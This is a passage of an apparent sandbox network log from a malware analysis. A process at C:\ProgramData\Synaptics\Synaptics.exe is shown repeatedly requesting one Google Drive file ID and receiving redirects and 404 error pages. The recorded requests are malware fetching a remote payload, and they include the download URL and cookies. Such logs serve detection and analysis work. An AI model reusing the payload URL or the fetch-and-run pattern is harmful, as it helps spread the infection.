2025-01-02 19:10:58 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:10:58 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-71ytWNqEDi9mqNUA8hR0nA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.7	56019	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:10:58 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:10:59 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5s1_6_ri9clXa4PzdLGIH74vBZQxQNnvqSfNWVUpHeuyNg7P9YVlsuaA11ScFzL_ow Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:10:58 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-bVVgEGJMgwccIWdmdmtlGQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:10:59 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:10:59 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 7a 7a 36 31 53 68 62 42 4b 44 52 55 33 47 45 63 32 76 74 32 48 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="zz61ShbBKDRU3GEc2vt2Hg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:10:59 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.7	56022	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:10:58 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:10:59 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7Obvu_KMDnw-AaPrmt4A8mEj0RmB6jLG41E9fZIwbT5trswEKAVs_3Q0TP_Q5Hiz65 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:10:59 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-Pqa0Vcyxns30qAEbE0_jBA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:10:59 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:10:59 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 5f 30 4c 73 53 53 77 4d 6a 30 32 32 48 6d 65 4e 73 46 55 6f 34 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="_0LsSSwMj022HmeNsFUo4w">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:10:59 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.7	56024	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:10:59 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=hGHN74XvMhDFVOneuJejqr2XJjQQ_jC7waacGUlH4AYvcnAx13Qivz4JRRBfIRp3dc2vuFLTRwMz8FFkBLUOgQsMNTRHw39NYcI8XFKHIWjKMcqMXbtsOif0UI15ZeM81xNY-cFu-FQOQyrS43LA3s0wR4WbK3StyQMj4cXLrhPvugg8gKojM20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.7	56023	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:10:59 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.7	56028	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:00 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=hGHN74XvMhDFVOneuJejqr2XJjQQ_jC7waacGUlH4AYvcnAx13Qivz4JRRBfIRp3dc2vuFLTRwMz8FFkBLUOgQsMNTRHw39NYcI8XFKHIWjKMcqMXbtsOif0UI15ZeM81xNY-cFu-FQOQyrS43LA3s0wR4WbK3StyQMj4cXLrhPvugg8gKojM20
2025-01-02 19:11:00 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:00 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-dLrm10ylqKFTdE4nJNPNKw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.7	56029	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:00 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=hGHN74XvMhDFVOneuJejqr2XJjQQ_jC7waacGUlH4AYvcnAx13Qivz4JRRBfIRp3dc2vuFLTRwMz8FFkBLUOgQsMNTRHw39NYcI8XFKHIWjKMcqMXbtsOif0UI15ZeM81xNY-cFu-FQOQyrS43LA3s0wR4WbK3StyQMj4cXLrhPvugg8gKojM20
2025-01-02 19:11:00 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:00 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-Rqh912vVtsCLO-8EMlJpPQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.7	56033	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:01 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:01 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4_uxLnAZiYm1qhyjNTGPIKBksuar1MY9GUdykR0a0iWo7j7fYFldGBKl0cDCiAOwW6 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:01 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-OEgEZr1YhjgLkBHP3js4MQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:11:01 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:11:01 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 76 54 4f 63 6a 6e 55 63 5f 30 61 38 47 4d 5f 39 67 67 38 43 79 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="vTOcjnUc_0a8GM_9gg8CyA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:11:01 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.7	56032	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:01 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=GOAV_B6GZxdC65nJzU6AiJzfWgIBjTcahURKSxE721AjmYBNY2kQss1Khse_feMj1yyAYF-gbHgQbt0CWbbJLVRWxtwNNQDSjDzjIzv2tXkYtRc2P205IWEIeuzhSeL1CqgOKEN44M4YC7mzsmG4kD1kMvi1B6AbCAKhUwW_o2CUhbX-Gun-aaep
2025-01-02 19:11:01 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:01 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-325D0_RE6ZdPJdp70ES_Hg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.7	56034	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:01 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=GOAV_B6GZxdC65nJzU6AiJzfWgIBjTcahURKSxE721AjmYBNY2kQss1Khse_feMj1yyAYF-gbHgQbt0CWbbJLVRWxtwNNQDSjDzjIzv2tXkYtRc2P205IWEIeuzhSeL1CqgOKEN44M4YC7mzsmG4kD1kMvi1B6AbCAKhUwW_o2CUhbX-Gun-aaep
2025-01-02 19:11:01 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:01 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-qa7GXlurEYc1QHJ9nDPWxg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.7	56035	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:01 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:01 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC57gZz38aT9d4BxIWsdn3mU0MS-KagsdMjDg6_xYWbYKKT9nmIKyjqmGcnC4SG7NHO8WDmNJGc Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:01 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-BYtQkSWUgAbO52CZor7ZPw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, 